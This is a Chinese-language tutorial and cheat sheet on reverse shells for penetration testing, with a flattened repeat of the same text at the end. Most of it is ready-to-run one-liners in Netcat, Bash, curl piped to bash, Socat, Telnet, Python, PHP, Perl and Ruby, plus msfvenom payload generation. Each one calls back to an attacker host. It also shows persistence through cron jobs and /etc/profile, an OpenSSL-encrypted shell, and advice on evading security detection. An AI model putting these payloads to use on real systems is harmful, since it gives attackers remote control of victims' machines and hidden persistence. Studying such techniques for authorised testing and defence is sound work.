反弹Shell,看这一篇就够了
字数 1168 2025-08-05 11:39:30

反弹Shell技术详解

一、反弹Shell基本概念

1. 正向连接与反向连接

正向连接:攻击机主动连接目标机(目标IP:目标端口),如远程桌面、SSH、Telnet等常规连接方式。

反向连接(反弹Shell):目标机主动连接攻击机,适用于以下场景:

  • 目标机防火墙限制,只能发送请求不能接收请求
  • 目标机端口被占用
  • 目标机位于局域网或IP动态变化
  • 木马病毒等不确定受害者网络环境的情况

2. 反弹Shell原理

攻击机监听某个TCP/UDP端口作为服务端,目标机主动发起请求到该端口,并将其命令行的输入输出重定向到攻击机。

二、反弹Shell方法汇总

1. 利用Netcat反弹Shell

前提:目标机安装原生版本Netcat(默认发行版可能阉割了-e参数)

安装原生Netcat

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

攻击机监听

netcat -lvvp 2333

目标机连接

netcat 攻击机IP 2333 -e /bin/bash

2. 利用Bash反弹Shell

经典一句话

bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
# 或
bash -c "bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1"

命令解析

  • bash -i:产生交互式bash环境
  • >&:将前面内容与后面结合后重定向
  • /dev/tcp/攻击机IP/端口:建立TCP连接
  • 0>&1:将标准输入与标准输出结合后重定向

3. Curl配合Bash反弹Shell

攻击机准备

  1. 在web目录创建index文件,内容为Bash反弹命令
  2. 开启端口监听

目标机执行

curl 攻击机IP | bash

CTF变种:IP可替换为各种格式(十进制、十六进制等)

4. 定时任务反弹Shell

CentOS系列写入:

/var/spool/cron/root

Debian/Ubuntu系列写入:

/var/spool/cron/crontabs/root

内容示例

*/1 * * * * /bin/bash -i >& /dev/tcp/攻击机IP/2333 0>&1

5. /etc/profile文件反弹Shell

写入内容:

/bin/bash -i >& /dev/tcp/攻击机IP/2333 0>&1 &
# &防止管理员无法输入命令

6. 利用Socat反弹Shell

安装

apt-get install socat
# 或源码安装

攻击机监听

socat TCP-LISTEN:2333 -
# 或
nc -lvvp 2333

目标机连接

socat tcp-connect:攻击机IP:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

7. 利用Telnet反弹Shell

方法一

# 攻击机:
nc -lvvp 2333

# 目标机:
mknod a p; telnet 攻击机IP 2333 0<a | /bin/bash 1>a

方法二

# 攻击机:
nc -lvvp 2333
nc -lvvp 4000

# 目标机:
telnet 攻击机IP 2333 | /bin/bash | telnet 攻击机IP 4000

三、脚本语言反弹Shell

1. Python反弹Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2. PHP反弹Shell

php -r '$sock=fsockopen("攻击机IP",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

3. Perl反弹Shell

perl -e 'use Socket;$i="攻击机IP";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

4. Ruby反弹Shell

ruby -rsocket -e 'c=TCPSocket.new("攻击机IP","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# 或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机IP","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

四、Metasploit生成反弹Shell

使用msfvenom生成各类反弹shell payload:

msfvenom -l payloads | grep 'cmd/unix/reverse'

示例生成Python反弹shell:

msfvenom -p cmd/unix/reverse_python LHOST=攻击机IP LPORT=2333 -f raw

五、反弹Shell后优化

1. 获取标准终端环境

使用Python模拟终端设备:

python -c "import pty;pty.spawn('/bin/bash')"

2. OpenSSL反弹加密Shell

生成自签名证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

攻击机监听

openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

目标机连接

mkfifo /tmp/s; /bin/sh -i </tmp/s 2>&1 | openssl s_client -quiet -connect 攻击机IP:2333 >/tmp/s; rm /tmp/s

六、总结

反弹Shell技术是渗透测试中的重要手段,本文涵盖了从基础到高级的各种反弹Shell方法,包括:

  • 常用工具(Netcat、Bash、Socat、Telnet)
  • 多种脚本语言实现(Python、PHP、Perl、Ruby)
  • 持久化方法(定时任务、/etc/profile)
  • 高级技巧(终端模拟、加密通信)

在实际渗透测试中,应根据目标环境选择合适的方法,并注意规避安全设备的检测。

反弹Shell技术详解 一、反弹Shell基本概念 1. 正向连接与反向连接 正向连接 :攻击机主动连接目标机(目标IP:目标端口),如远程桌面、SSH、Telnet等常规连接方式。 反向连接(反弹Shell) :目标机主动连接攻击机,适用于以下场景: 目标机防火墙限制,只能发送请求不能接收请求 目标机端口被占用 目标机位于局域网或IP动态变化 木马病毒等不确定受害者网络环境的情况 2. 反弹Shell原理 攻击机监听某个TCP/UDP端口作为服务端,目标机主动发起请求到该端口,并将其命令行的输入输出重定向到攻击机。 二、反弹Shell方法汇总 1. 利用Netcat反弹Shell 前提 :目标机安装原生版本Netcat(默认发行版可能阉割了-e参数) 安装原生Netcat : 攻击机监听 : 目标机连接 : 2. 利用Bash反弹Shell 经典一句话 : 命令解析 : bash -i :产生交互式bash环境 >& :将前面内容与后面结合后重定向 /dev/tcp/攻击机IP/端口 :建立TCP连接 0>&1 :将标准输入与标准输出结合后重定向 3. Curl配合Bash反弹Shell 攻击机准备 : 在web目录创建index文件,内容为Bash反弹命令 开启端口监听 目标机执行 : CTF变种 :IP可替换为各种格式(十进制、十六进制等) 4. 定时任务反弹Shell CentOS系列 写入: Debian/Ubuntu系列 写入: 内容示例 : 5. /etc/profile文件反弹Shell 写入内容: 6. 利用Socat反弹Shell 安装 : 攻击机监听 : 目标机连接 : 7. 利用Telnet反弹Shell 方法一 : 方法二 : 三、脚本语言反弹Shell 1. Python反弹Shell 2. PHP反弹Shell 3. Perl反弹Shell 4. Ruby反弹Shell 四、Metasploit生成反弹Shell 使用msfvenom生成各类反弹shell payload: 示例生成Python反弹shell: 五、反弹Shell后优化 1. 获取标准终端环境 使用Python模拟终端设备: 2. OpenSSL反弹加密Shell 生成自签名证书 : 攻击机监听 : 目标机连接 : 六、总结 反弹Shell技术是渗透测试中的重要手段,本文涵盖了从基础到高级的各种反弹Shell方法,包括: 常用工具(Netcat、Bash、Socat、Telnet) 多种脚本语言实现(Python、PHP、Perl、Ruby) 持久化方法(定时任务、/etc/profile) 高级技巧(终端模拟、加密通信) 在实际渗透测试中,应根据目标环境选择合适的方法,并注意规避安全设备的检测。